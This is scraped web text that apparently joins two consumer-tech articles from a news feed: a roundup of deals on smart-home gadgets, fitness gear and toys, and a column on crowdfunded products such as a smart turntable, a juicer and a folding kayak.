The Pop is a button. A button that does stuff. Three things in fact, depending on how you press it, and what it does is completely up to you. It can dim your lights. It can control your SONOS system. If you have a Logitech Harmony Hub (ahem), it can even control your home theater. Hell, it can even trigger an IFTTT recipe, meaning it can do basically anything.

The starter kit (which includes two buttons and a bridge) is down to $ 60 on Amazon right now, if you’re willing to wait out a backorder. That’s $ 40 less than usual, and an all-time low.

We see deals all the time on copper string lights, but if you prefer the look of “globe” style incandescents, you can get a 25′ strand with 25 bulbs for $ 15 today. It’s already warm outside, so string these up on your patio and enjoy the outdoors.

Yesterday, we shared that Belkin’s WeMo Mini Smart Switch was on sale for $ 30, but TP-Link has blown that deal out of the water with a pair of discounts.

You can choose from the standard TP-Link Smart Plug for $ 18, or the functionally identical Mini model for $ 25, with the discount shown in cart. Those are both the best prices we’ve ever seen, and fantastic deals for anyone looking to dip their toes into home automation. These work almost exactly the same as WeMo switches, with the exception of their lack of IFTTT support.

Before you comment that the prices are wrong, let me reiterate one more time that you won’t see the discount until you get to the checkout screen.

Top Lifestyle Deals

Before you head out on your next camping trip or beach vacation, you may want to grab this 20L dry bag to keep your gear safe from the elements. Just use code WB22EITJ to get it for $ 10.

The oral thermometer probably didn’t need to be reinvented, but if you’re the kind of person who likes everything to be smartphone-connected, Kinsa’s smart thermometer works with both iOS and Android, and is down to $ 15 today.

Advertisement

Kinsa markets this as a kids thermometer, mostly because it only takes 10 seconds to get a reading, and its smartphone app includes a little bubble popping minigame that kids can play while they wait, but it’s a neat little gizmo for sick people of any age.

The app automatically tracks your temperature over time, and you can add your own metadata about symptoms and medication if you want a more complete record of your illness. Plus, if you own an iPhone, the temperature data is compatible with Apple’s HealthKit.

Obviously, nobody really needs this thing, but if you’re intrigued, $ 15 is one of the best prices we’ve ever seen, and is also not a terrible price for a good oral thermometer, smart or otherwise.

$ 236 might seem like a lot to spend on a set of dumbbells, but these Bowflex adjustable models take up way less room than a full rack of weights, and certainly cost less over time than a gym membership.

These 4.7 star rated weights were on sale for an all-time low $ 229 over the weekend, but sold out relatively quickly. So if you missed out, this is still a great price.

What better way to get ready for the better weather than an extra 20% off at the Under Armour Outlet? This sale is full of practically every style you can think of, from the classic Under Armour long-sleeves to training shoes to their Threadborne microthread technology, perfect for running outside in the warmer months.

Top Gaming Deals

If you’ve got the space for it, table tennis is by far the best indoor household game, and this highly rated JOOLA table is on sale for $ 320 today, or roughly $ 60-$ 70 less than usual. When you’re not using it, the whole thing can fold up to take up less floor space, or you can fold up just one half to create a backboard for practice.

After everyone else in your office has stopped the impromptu NERF gun fighting and gone back to filing expense reports and making sales calls, you alone will be able to continue running around shooting everyone, because you bough 150 extra darts for $ 7. I recommend wrapping your necktie around your forehead and scribbing some sharpie under your eyes; it projects toughness.

A few days ago, we posted a $ 2 deal (still available) on a fidget spinner that was shipping from China sometime in the next month. But if you just can’t wait to get your hands on one of these things, here’s a $ 5 model that’s eligible for Prime shipping.

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]]> https://briefnews.eu/saturdays-best-deals-succulents-turntables-contigo-water-bottles-and-more/feed/ 0 Awesome tech you can’t buy yet: Turntables, Juicers, and Ultralight folding Kayaks https://briefnews.eu/awesome-tech-you-cant-buy-yet-turntables-juicers-and-ultralight-folding-kayaks/ https://briefnews.eu/awesome-tech-you-cant-buy-yet-turntables-juicers-and-ultralight-folding-kayaks/#respond Sun, 05 Feb 2017 11:56:21 +0000 http://briefnews.eu/awesome-tech-you-cant-buy-yet-turntables-juicers-and-ultralight-folding-kayaks/ At any given moment, there are approximately a zillion crowdfunding campaigns on the web. Take a stroll through Kickstarter or Indiegogo, and you’ll find no shortage of weird, useless, and downright stupid projects out there — alongside some real gems. In this column, we cut through all the worthless wearables and Oculus Rift ripoffs to round up the week’s most unusual, ambitious, and exciting projects. But don’t grab your wallet just yet. Keep in mind that any crowdfunded project can fail — even the most well-intentioned. Do your homework before cutting a check for the gadget of your dreams.

Love — smart turntable for vinyl records

Although audio technology has made incredible strides over the last 40 years, the traditional turntable has remained relatively unchanged — but Love wants to change that. “Record sales have spiked over 60 percent in recent years, but nearly half of the people who own vinyl records don’t play them,”said CH Pinhas, CEO of Love Turntable Inc. “Our goal is to make it simple for anyone to enjoy the natural melodies and pure traditional sound of analog through the convenience of modern-day technology.”

Pinhas’s creation, the Love Turntable, is the update you’ve been waiting for. It’s a record player with all the modern bells and whistles you could ever want. Using its linear tracking sensor, Love can scan any record to determine its size and number of tracks, and with nothing more than a tap, users can turn the turntable on and off, or skip to the next track. Plus, the device actually spins on top of the record (which remains still), while employing a traditional cartridge and stylus to pay homage to the tactile experience and classic sound that true vinyl enthusiasts know and love.

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Juisir — cleaning-free juicing machine

Juicers are a marvel of modern kitchen technology. Despite being small enough to fit on your kitchen countertop, many of them are capable of exerting thousands of pounds of force, which helps them squeeze the liquids out of just about anything — oranges, carrots, or even kale and wheatgrass. Not only that, but juicing fruits and vegetables is incredibly healthy. The only downside is that the machine are a nightmare to clean.

Most juicers work by first pulverizing whatever you stick inside them, and then compressing the pulp to extract juice. This is definitely the most effective way to extract liquids — but it also causes a mess. To circumvent this problem, the folks behind the Juisir developed a new system. Instead of pulverizing the veggies before they’re squeezed, Juisir skips that step and exerts more force — eight tons to be exact. This extracts a large amount of juice, but keeps all the pulp contained in a little bag, so cleanup is a breeze.

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Jusin Case Kayak — ultraportable folding kayak

There’s nothing quite like paddling around and exploring a new area by kayak — but unfortunately, they’re not exactly the most convenient vessel to carry around. They’re large, unwieldy, and too cumbersome to carry over great distances, so taking one along on your next outdoor excursion isn’t always an option. But what if there was a kayak you could easily pack around?

That’s precisely the idea behind the Justin Case Kayak. At less than six pounds, it’s the lightest portable kayak available, and it packs down to the size of a lawn chair. Thanks to its carbon fiber frame and ripstop skin, the kayak can support up to 250 pounds — even though it tips the scales at just 5.7 pounds. Full assembly takes about ten minutes to become 9.7 feet long and 26 inches wide with a depth of 9 inches.

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Growler Chill — countertop beer tap

if you drink a lot of craft beer, growlers are the way to go. These reusable, refillable jugs not only allow you to cut down on the number of bottles you stuff in the recycling bin each week, but also allow you to buy in bulk and cut down the price a little bit. The only problem? They take up a good bit of room in your fridge — especially if you like variety and need to keep three or four of them cold at any given time.

The solution? Well, if scaling back your consumption levels (not likely) or committing to a kegerator are out of the question, the Growler Chill might be a good option. It’s basically a countertop kegerator designed to work with the growlers you already own. It can hold and chill up to three of them at a time, and also provides easier access to the brew they hold. Thanks to a cleverly designed tap system, you’ll never have to lift and pour a jug ever again — just yank on the handle and watch as gravity fills your glass with bubbly, delicious beer.

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Lenzor — underwater photography iPhone case

Sure, the iPhone 7 can withstand a little splashing, but you probably shouldn’t take it out on your next scuba diving trip — unless of course you’ve got yourself a LenzO case. This badboy is designed to protect your iPhone 7 –and give you full control over its functions– at depths as low as 300 feet.

It’s more than just a waterproof case. Up front, LenzO is equipped with a big, beautiful underwater lens that helps ensure your photos aren’t distorted. On top of that, the case also includes a clever actuator system that gives you full control over your iPhone’s touchscreen. Need to tap and refocus on a different part of the shot? Just use the actuator to tap that spot on the screen. Need to adjust the settings or apply a filter? You’re only a tap away. The interface and controls are designed to be ultra simple, so you can spend more time enjoying yourself and less time fiddling with your camera.

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